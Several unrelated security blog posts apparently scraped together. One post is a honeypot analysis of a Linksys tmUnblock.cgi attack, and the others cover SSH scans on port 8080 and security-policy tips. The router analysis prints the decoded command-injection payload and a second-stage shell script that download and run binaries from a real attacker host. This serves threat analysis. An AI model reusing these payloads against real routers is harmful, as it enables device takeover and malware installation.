Blog: www.malware-traffic-analysis.net - Twitter: @malware_traffic

References:

[1] http://www.malware-traffic-analysis.net/2015/07/22/index.html
[2] http://www.malware-traffic-analysis.net/2015/07/20/index.html
[3] https://threatpost.com/evasion-techniques-keep-angler-eks-cryptowall-business-thriving/113596
[4] http://www.malware-traffic-analysis.net/2015/04/09/index.html
[5] http://www.malware-traffic-analysis.net/2015/07/30/index.html
[6] https://isc.sans.edu/diary/Exploit+Kit+Evolution+During+2014+-+Nuclear+Pack/19081
[7] https://isc.sans.edu/diary/Another+example+of+Angler+exploit+kit+pushing+CryptoWall+30/19863
[8] https://isc.sans.edu/diary/Angler+exploit+kit+pushes+new+variant+of+ransomware/19681

Last year, we wrote about the "Moon Worm", a bitcoin mining piece of malware that infected Linksys routers. Ever since then, I have seen lots and lots of hits to the vulnerable cgi script ("tmUnblock.cgi") in our honeypot logs. Just a quick graph of the volume:

So I figured it is time to see what they are after these days. Overall, the basic pattern is the similar to what we have seen back with the the Moon worm:

First, the scanner will just confirm existence of the tmUnblock.cgi script, followed by a POST with the actual exploit:

 27.100.64.102 - - [04/Aug/2015:10:03:44 +0000] "GET /tmUnblock.cgi HTTP/1.1" 200 195 "-" "-"
 27.100.64.102 - - [04/Aug/2015:10:03:45 +0000] "POST /tmUnblock.cgi HTTP/1.1" 200 195 "-" "-"

The full post request:

POST /tmUnblock.cgi HTTP/1.1
Host: [server ip address]:8080
Accept-Encoding: identity
Content-Length: 850

%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e %3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74 %74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74 %6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%69%72%6b%31%2e %73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%69%72%6b%32%2e%73%68%20%68%74 %74%70%3a%2f%2f%31%30%39%2e%32%30%36%2e%31%37%37%2e%31%36%2f%66%65%72%72%79%2f%72 %65%76%31%32%2e%73%68%22%20%3e%3e%20%69%72%6b%31%2e%73%68%3b%65%63%68%6f%20%22%63 %68%6d%6f%64%20%2b%78%20%69%72%6b%32%2e%73%68%22%20%3e%3e%20%69%72%6b%31%2e%73%68 %3b%65%63%68%6f%20%22%2e%2f%69%72%6b%32%2e%73%68%22%20%3e%3e%20%69%72%6b%31%2e%73 %68%3b%63%68%6d%6f%64%20%2b%78%20%69%72%6b%31%2e%73%68%3b%2e%2f%69%72%6b%31%2e%73 %68%60&%53%74%61%72%74%45%50%49%3d%31

This string decodes to:

submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;echo "#!/bin/sh" > irk1.sh;echo "wget -O irk2.sh hxxp://109.206.177.16/ferry/rev12.sh" >> irk1.sh;echo "chmod +x irk2.sh" >> irk1.sh;echo "./irk2.sh" >> irk1.sh;chmod +x irk1.sh;./irk1.sh`&StartEPI=1

Unlike for the Moon worm, the additional malware is not pulled from the host sending the exploit. The "irk2.sh / rev12.sh" script :

#!/bin/sh
cd /tmp
wget -O .nttpd hxxp://109.206.177.16/ferry/.nttpd,14-le-t1
chmod +x .nttpd
./.nttpd
sleep 2
wget -O .sox http://109.206.177.16/ferry/.sox,14-le-t1
chmod +x .sox
./.sox

The script downloads and runs two additional executables. I haven't done the full analysis yet (let me know if you want a copy and can't get them from the URLs above anymore), but there are a couple interesting lines in the strings:

INPUT -p udp --dport 9999 -j DROP
INPUT -p tcp -m multiport --dport 80,8080 -j DROP
INPUT -s 109.206.177.16 -j ACCEPT
INPUT -s 50.77.24.41 -j ACCEPT
INPUT -s 109.206.186.250 -j ACCEPT
INPUT -s 91.217.90.49 -j ACCEPT
INPUT -s 91.217.90.19 -j ACCEPT

So looks like the attacker is "securing" the router by blocking access to the web based admin (port 80, 8080) and allowing access from very specific IP addresses, probably controlled by the attacker.

Virustotal identifies ".nttpd" and ".sox" as a proxy (Avast, DrWeb) . Reports for these binaries go back a few months.

The scripts also appear to modify name servers in resolv.conf, but so far I think they only set them to Google's name servers (8.8.8.8 and 8.8.4.4).

FWIW: per whois, 109.206.177.16, belongs to Serverel, a California company (but it is RIPE IP address space). abuse@serverel.com was notified. Severel shut down the affected server shortly after being notified.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

I am seeing some scanning for SSH servers on port 8080 in web server logs for web servers that listen on this port. So far, I don't see any scans like this for web servers listening on port 80. In web server logs, the scan is reflected as an "Invalid Method" (error 501) as the web server only sees the banner provided by the SSH client, and of course can not respond.

For example:

222.186.21.180 - - [03/Aug/2015:08:31:55 +0000] "SSH-2.0-libssh2_1.4.3" 501 303 "-" "-"

This IP address in this example is for now the most prolific source of these scans:

inetnum:        222.184.0.0 - 222.191.255.255
netname:        CHINANET-JS
descr:          CHINANET jiangsu province network
descr:          China Telecom
descr:          A12,Xin-Jie-Kou-Wai Street
descr:          Beijing 100088
country:        CN

With very frequent scans for SSH servers, users often move them to an alternative port. I am not aware of a common configuration moving them to port 8080, but it is certainly possible that this has become somewhat a common "escape" port.

Please let us know if you have any details to fill in. Any other sources for these scans? Any reason why someone would use port 8080 for an ssh server? If you use an alternative port, one more "random" would certainly be better, in particular if the port is not in default port lists (like the one used by nmap).

As usual, hiding your SSH server on an off-port is good. But you ceratinly should still use keys, not passwords, to authenticate and follow other best practices in configuring and maintaining your SSH server.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

• Do not fail to add an expiration date to your security policies. Otherwise they get stinky, just like that jar of mayonnaise in your refrigerator. This will force you to both review and update them on a regular basis or risk being embarrassed because they are out of date.

• Do not ask anyone to memorize your security policies. Why waste time memorizing a reference document? Spend your time doing something meaningful instead, such as reviewing ways to implement the 20 Security Controls in your company.

• Do not use your security policy as an attempt to control small and often times personal issues. Instead, make sure your security policy addresses specific risk in your organization. Without a direct mapping to risk, it will be very easy to have too many security policies scattered all over the place.

• Will violation of your security policy eventually lead to the policy violator realizing their opportunity to violate security policy at a different company? It should - Otherwise your document is really a suggestion and not a policy.

• Do have your security policy stored in one single and easy to find location? It would be a shame to spend all that time and no one ever read your security policies. Reminds me of that story about a tree that falls in the forest.